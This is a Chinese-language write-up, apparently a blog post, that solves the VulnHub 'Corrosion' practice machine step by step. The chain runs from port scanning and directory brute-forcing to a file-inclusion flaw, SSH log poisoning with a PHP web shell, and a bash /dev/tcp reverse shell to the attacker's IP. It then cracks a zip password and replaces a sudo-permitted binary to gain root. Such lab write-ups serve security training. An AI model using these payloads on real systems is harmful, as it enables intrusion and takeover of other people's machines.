vulnhub靶场Corrosion

Corrosion

本地虚拟机部署,攻击机Kali(IP:10.1.1.128)

主机发现

nmap -sn -T4 10.1.1.0/24

image-20260126220941765

目标机IP地址:10.1.1.131

端口扫描

TCP端口扫描

nmap --min-rate 10000 -p- 10.1.1.131 -oA nmap_output/ports

image-20260126222126219

开放端口:22,80

端口详细信息扫描

nmap -sS -n -Pn -p 22,80,1 -sV -sC -O 10.1.1.131 -oA nmap_output/detail

image-20260126222947823

UDP端口扫描

nmap -sU --top-ports 100 10.1.1.131 -oA nmap_output/udp

image-20260127202029848

漏洞脚本扫描

nmap --script=vuln -p22,80 10.1.1.131 -oA nmap_output/vuln

image-20260127202901673

信息总结

OS:Linux 4.15 - 5.19
TCP端口开放:
22		OpenSSH 8.4p1 Ubuntu 5 (protocol 2.0)
80		Apache httpd 2.4.46 ((Ubuntu))
UDP端口开放:目前无实际利用价值
常见漏洞信息:无

WEB

浏览器访问80web端口

http://10.1.1.131:80

image-20260127203946934

apache的默认页面

目录爆破

gobuster dir -u http://10.1.1.131 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20260127205610087

查看tasks和blog-post

image-20260127205736887

image-20260127205747445

image-20260127205759230

进一步对指定文件类型进行爆破

gobuster dir -u http://10.1.1.131/blog-post/ -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x php,jsp,asp,txt,zip,tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20260130143107613

访问这2个地址

image-20260130143314195

image-20260130143340740

image-20260130143358645

http://10.1.1.131/blog-post/archives/randylogs.php

页面为空,可能需要提交参数

文件包含漏洞

爆破参数,尝试读取etc/passwd文件

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.1.1.131/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -fs 0

image-20260130160223004

访问看看

http://10.1.1.131/blog-post/archives/randylogs.php?file=/etc/passwd

image-20260130160431461

http://10.1.1.131/blog-post/archives/randylogs.php?file=/

image-20260202104734498

没内容

刚才有个页面

http://10.1.1.131/tasks/tasks_todo.txt
  1. Change permissions for auth log
  2. Change port 22 -> 7672
  3. Set up phpMyAdmin

疑似和ssh配置有关系

在基于Debian/Ubuntu的系统上,认证日志通常在 /var/log/auth.log,配置文件通常在/etc/ssh/sshd_config

分别包含这两个文件

image-20260202105719107

image-20260202105624263

webshell写入ssh认证日志

构造用户名,进行ssh连接,webshell写入ssh认证日志,再包含日志文件

ssh -p 7672 '<?php system($_GET[cmd]);?>'@10.1.1.131

由于kali系统中openssh高版本中,对用户名的特殊字符做了限制,使用metasploit进行注入

password任意

msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhosts 10.1.1.131
set rport 7672
set password 123 
set username "<?php system($_GET[cmd]);?>"
set BLANK_PASSWORDS true
run

image-20260202225903482

添加cmd的参数为你要执行的系统命令,如whoami

发现未能执行,经过排查,是端口问题,对方的ssh服务并没有更改为7672端口,依然是默认的22端口,重新设置端口

set rport 22
run

image-20260202230238968

重新访问

http://10.1.1.131/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=whoami

image-20260202230726878

反弹shell

http://10.1.1.131/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash -c 'bash -i >& /dev/tcp/10.1.1.128/443 0>&1'

对命令执行的部分进行URL编码

image-20260203113226971

http://10.1.1.131/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.1.1.128%2F443%200%3E%261'

image-20260203112701178

image-20260203113351465

信息搜集

用户信息

image-20260203150101494

image-20260203150034308

root randy

翻找文件

image-20260203151813271

user_backup.zip

下载文件到本地

目标机有Python3环境,启动一个http服务

python3 -m http.server
http://10.1.1.131:8000/user_backup.zip

image-20260203152503219

解压文件

image-20260203153134023

爆破user_backup.zip

需要密码,爆破一下

fcrackzip

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

image-20260203154152309

密码:!randybaby

继续解压

unzip user_backup.zip -d ./user_backup
!randybaby

image-20260203154935604

ssh登录randy用户

ssh randy@10.1.1.131
randylovesgoldfish1998

image-20260203155612236

user_flag

image-20260210151933507

提权

查看当前用户权限

sudo -l

image-20260203161054125

sudo滥用

进入该文件目录查看

image-20260203161208557

(root) PASSWD: /home/randy/tools/easysysinfo

表示可以使用sudo以root身份执行/home/randy/tools/easysysinfo这个文件

替换该文件为自己想要的内容,比如启动一个/bin/bash -i达到提权到root的目的

查看该文件的类型

file /home/randy/tools/easysysinfo

image-20260203164414281

elf可执行文件,架构x86-64

目标系统存在gcc编译环境

image-20260203164712124

在当前目录创建创建easysysinfo.c文件

但是在刚刚的user_backup.zip文件中有asysysinfo.c文件

image-20260203165031896

简单替换一下执行的命令直接拿来用

#include<unistd.h>
#include<stdlib.h>
void main()
{ setuid(0);
  setgid(0);
  system("/bin/bash -i");

  system("cat /etc/hosts");

  system("/usr/bin/uname -a");

}

image-20260203170417995

gcc编译

gcc -o easysysinfo easysysinfo.c

image-20260203170952788

sudo执行该文件

sudo ./easysysinfo

输入randy用户密码

成功提权到root

image-20260203171358844

root_flag

image-20260203172055292

posted @ 2026-02-10 15:33  apt-official  阅读(0)  评论(0)    收藏  举报